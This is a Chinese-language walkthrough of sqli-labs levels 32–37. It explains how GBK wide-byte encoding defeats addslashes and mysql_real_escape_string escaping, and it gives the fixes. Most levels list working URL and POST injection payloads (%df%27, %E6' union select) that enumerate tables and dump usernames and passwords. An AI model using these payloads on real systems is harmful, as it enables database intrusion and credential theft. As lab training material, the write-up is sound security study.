slilabs靶场记录宽字节绕过(七)
宽字节注入的了解
原理
mysql在使用GBK编码的时候会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围).我们在过滤’时,往往利用的思路是将’转换为’
php自带了一些转义特殊字符的函数,如addslanshes(),mysql_real_escape_string(),mysql_escape_string()等,这些函数可以用来防止sql注入
如id=1’or’1’=’1,单引号本来用来闭合语句,这些函数会自动转义这些闭合单引号,在这些单引号的前面加上转义字符,变为
id=1\'or\'1\'=\'1
如此在sql查询中是一个普通的字符串,不能进行注入.
-
%bb吃掉\
如果程序的默认字符集是gbk等宽字节字符集,就有可能产生宽字节注入,绕过上述的过滤.
若php使用的mysql_query(“set name gbk”)将默认字符集设置为gbk,而使用addslashes()转义用户输入,这使如果用户输入%bb%27,则addslashes()会在%27前面加上一个%5c字符,即转义字符.而在mysql使用gbk编码时,会认为两个字符为一个汉字,%bb%5c是一个宽字符(前一个ascii码大于128才能到达汉字的范围)也就是籠,也就是说%bb%5c%27=籠’.这样的话’就看见逃逸出来,也就是未被\进行转义从而造成闭合语句,产生sql注入.%bb并不是唯一一个可以产生宽字符注入的字符,理论上%81到%fe都可以
-
过滤
\'
中的\构造%bb%5c%5c%27,addslashes()会两个%5c和%27前面都加上\就%5c,变为%bb %5c%5c %5c%5c %5c%27 ,但是宽字符集会认为%bb%5c 是一个字符即为籠,则变为 %bb%5c %5c%5c %27即为
籠\\\\'
,四个\正好转义为两个,即’未被转义.
字符集
常见字符集
- ascii编码:单字节编码
- latin1编码:字符节编码
- gbk编码:使用一字节和双字节编码,0x00 – 0x7f 范围内是一位,和ascii保持一致.双字节的第一字节范围是 0x81 – 0xfe
- utf-8编码:是用一至四字节编码,0x00 – 0x7f范围内是第一位,和ascii保持一致.其他字符用二至四字节变长表示
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使攻击者可以通过宽字节编码绕过sqk注入防御
通常来说,一个gbk编码汉字,占用两个字节.一个utf-8编码的汉字,占用3个字节.在php中,我们可以通过输出
echo strlen("和"); #2 gbk编码时
echo strlen("和"); #3 utf-8编码时
处理gbk之外,所有的ansi编码都是2个字节.ansi只是一个标准,在不同的电脑上它代表的编码可能不相同,比如简体中文系统中ansi就是代表gbk
概述
首先我们了解下宽字节注入,宽字节注入主要是源于程序员设置数据库编码与php编码这是为不同的两个编码那么就有可能产生宽字节注入
数据提交到mysql数据库,需要进行字符集的转换,使得mysql数据库可以对数据进行处理,这一过程一般有以下三个步骤:
1.收到请求,将请求数据从character_set_client -> character_set_coonection
2.内部操作,将数据从character_set_connection -> 表创建字符集
3.结果输出,将数据从表创建的字符集 -> character_set_results
当执行set names "字符集",相当于执行
set character_set_client = 字符集
set character_set_connection = 字符集
set character_set_connection = 字符集
client指的是php程序
connection指的是php客户端与mysql服务器之间连接层
results指的是mysql服务器返回给php客户端的结果
mysql常见的乱码问题就是这三个字符集的设置不当所引起的
宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等。当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:
- character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。
- character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。
- character_set_database:数据库缺省编码字符集。
- character_set_filesystem:文件系统编码字符集。
- character_set_results:SQL语句执行结果编码字符集。
- character_set_server:服务器缺省编码字符集。
- character_set_system:系统缺省编码字符集。
- character_sets_dir:字符集存放目录,一般不要修改。
宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符,从而导致转义失败
例如说php的编码时utf-8而mysql的编码设置了set names ‘gbk’ 或者是 set character_set_client=gbk,这样配置会引发编码转换从而导致注入漏洞
宽字符注入的修复
先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string函数来过滤用户输入.
(也就是说,先不进行转义,首先以GBK编码的形式对提交上来的参数进行编码,然后再进行转义,(先编码也意味着反斜杠即5c不会出现,到下一步的转义引号才出现)这就造成了编码过后转义引号的反斜杠即字符5c不会和字符df变成一个宽字符,阻止了df 和 5c 的拼接,于是防宽字符注入成功)
这个方式是可行的,但有部分老的cms,在多处使用addslashes来过滤字符串,我们不可能去一个一个把addslashes都修改成mysql_real_escape_string。我们第二个解决方案就是,将character_set_client设置为binary(二进制)。
只需在所有sql语句前指定一下连接的形式是二进制:
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
这几个变量是什么意思?
当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将之将换成character_set_connection的编码,然后进入具体表和字段后,再转换成字段对应的编码。
然后,当查询结果产生后,会从表和字段的编码,转换成character_set_results编码,返回给客户端。
所以,我们将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入。
less-32基于错误GET单引号字符型转义引号反斜杠宽字节注入
可以看到这个check_addslashes()函数十个过滤 \ ’ ” 的函数,分别在前面加上\
注意这里的mysql_query(“set name gbk”)
确定宽字节注入
1 回显正常
1' 回显正常
1" 回显正常
这里可以发现在输入的’前面加上了 ’
双引号也有
尝试宽字节注入
1ß’
1ß' url编码后 1%df%27
1ß" url编码后 1%df%22
get型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的16进制.不过稍微有些变动,需要在前面加上”%“.比如”\
“,他的ascii码是92,92的十六进制是5c,所以”\
“的url编码就是%5c.那么汉字的url编码呢?如”胡”的ascii码是-17670,十六进制是BAFA,url编码时%BAFA (汉字转ascii码默认情况下,是使用扩展ascii,第一个字节为负数是(或理解为127以上)是识别,后加一个字节总共两个字节)
这里可以看出是单引号闭合的宽字节注入
1%df%27--+#
ß\\'
1ß\\'--+ url编码后 1%df%5c%5c%27--+ 被addslashes后 %bb%5c %5c%5c %5c%5c %27 即籠\\\\'
闭合之后剩下的就很简单了
爆库:
-1%df%27 union select 1,2,database()--+
爆表:
-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
或者将security转换为16进制:
-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
爆字段:
user转换为16进制:0x7573657273
-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+
爆数据:
-1%df%27 union select 1,group_concat(username,0x7e,password),3 from security.users--+
或者
-1%df%27 union select 1,group_concat(username,0x7e,password),3 from users--+
less-33GET型-绕过AddSlashes()函数
注意这里mysql_query(“set names gbk”)
check_addslashes()函数也有改变,此时并不是自定义的函数,而是直接使用PHP自带的addslashes函数
addslashes函数转义 ’ ” \ NULL字符
注意:默认的,php对所有的get post cookie数据自动运行addslashes() (请注意:这个是在之前版本开启魔术引号时才会有的,在新版本中这个魔术引号已经废弃了). 所以不应对已转义的字符串使用addslashes(),因为这样会导致双层转义,遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测
strupslashes()函数用于删除有addslashes()函数添加的反斜杠
爆表:
-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary (即二进制)的方式,才能防御此漏洞。
Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
MySQL居然不区分大小
可以使用binary将字符串先转换为二进制字符串,在进行比较、
通过看MySQL手册可以知道,默认情况下,对MySQL数据库中的字段进行查询或者排序都是不区分大小写的。
但是在有些应用中,需要进行区分大小写的操作,咋办?
答:使用BINARY操作符。
BINARY操作符将后面的字符串抛给一个二进制字符串。这是一种简单的方式来促使逐字节而不是逐字符的进行列比较。这使得比较区分大小写,即使该列不被定义为 BINARY或 BLOB。
BINARY影响整个比较;它可以在任何操作数前被给定,而产生相同的结果。
解决方法
1、第一种是在创建表结构时候使用binary属性来定义字段:
create table if not exists user(
id int unsigned primary key auto_increment,
name varchar(32) binary,
)engine=myisam;
或者在表结构创建好后使用alter来添加字段binary属性
alter table user modify name varchar(32) binary ;
2、第二种方法是在sql语句中使用bianry来进行区分大小写操作:
SELECT * FROM user where name=binary 'maratrix';
或者
SELECT * FROM user where binary name='maratrix';
进过测试发现,使用SELECT * FROM user where name=binary 'maratrix';效率更高点,原因是将binary放在字符串前会使用索引(假设该字段存在索引),而将binary放在字段前面将不会使用索引,即使索引存在也不会使用。
注意
在一些语境中,假如你将一个编入索引的列派给BINARY, MySQL 将不能有效使用这个索引。
less-34基于错误POST单引号字符型addslashes()宽字节注入
这一关是POST型注入,同样的将post传递进来的内容进行了转义处理,过滤了单引号,反斜杠.有之前的get请求的例子我们可以看到%df可以将转义的反斜杠给吃掉.而get型的方式我们是以url形式进行提交的,因此数据会通过urlencode,如何将方法用在post型中呢
宽字节注入
这里基本上和get无差别,在less-32中使用%bb%27 或者 %bb%5c%5c%27代替’均可
爆数据库:
uname=1%bb%27 union select 1,database() #&passwd=1
编码转换注入
将 UTF-8 的'
转换为 UTF-16 的�'
实现注入的方法。这个字符我也不知道是什么
爆数据库:
uname=1�' union select 1,database() #&passwd=1
less-35基于错误GET数字型addslashes()宽字节注入
id=1' version for the right syntax to use near '\' LIMIT 0,1' at line 1
id=1" version for the right syntax to use near '\" LIMIT 0,1' at line 1
这关有错误回显,比较简单可以判断出是数字型.
那么在没有错误回显时,应当如何去判断是数字型还是引号被过滤呢?
在能分辨出正确回显和错误回显(有固定字符串)时,id=1正确回显,尝试id=1'和id=1"
若两者都正确回显:很可能是被过滤引号
若两者都错误回显:很可能是数字型查询
若一正确一错误:基本可以确定是字符型查询
我们知道了数字型并且知道了使用addslashes()函数,那么剩下的其实就比较简单了,就是有一点点小的改动,就是如果注入语句出现的引号里面的数据需要转换为十六进制.
爆库:
-1 union select 1,2,database()--+
爆表:
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
爆字段:
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+
爆数据:
请注意:security转换为十六进制为0x7365637572697479是不包括引号的,转换为十六进制也不需要引号
less-36GET-绕过 Mysql_real_escape_string 函数
mysql_real_escape_string()函数转义的特殊字符 \x00 \n \r \ ' " \x1a
本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击
addslashes()能被宽字节注入的原因就是,它先进行转义,再进行GBK编码。
原理
对于宽字节编码,有一种最好的修补就是:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面df 和 5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
上述的两个条件是“与”运算的关系,少一条都不行。
可以发现这里是先进行了对id参数先进行了转义,在进行gbk编码,这就造成了宽字节注入
爆位置:
0%bb%5c%5c%27 union select 1,2,3-- #
爆数据库:
-1%E6' union select 1,2,database()--+
爆表:
-1%E6' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
爆列名:
-1%E6' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
爆值:
-1%E6' union select 1,group_concat(username,0x7e,password),3 from security.users --+
less-37POST型 – 绕过 MYSQL_real_escape_string
可见基本一致直接绕过就可
爆位置:
uname=-admin%E3' union select 1,2 --+&passwd=admin&submit=Submit
爆表:
uname=-admin%E3' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
暴字段:
uname=-admin%E3' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+&passwd=admin&submit=Submit
暴值:
uname=-admin%E3' union select 1,group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit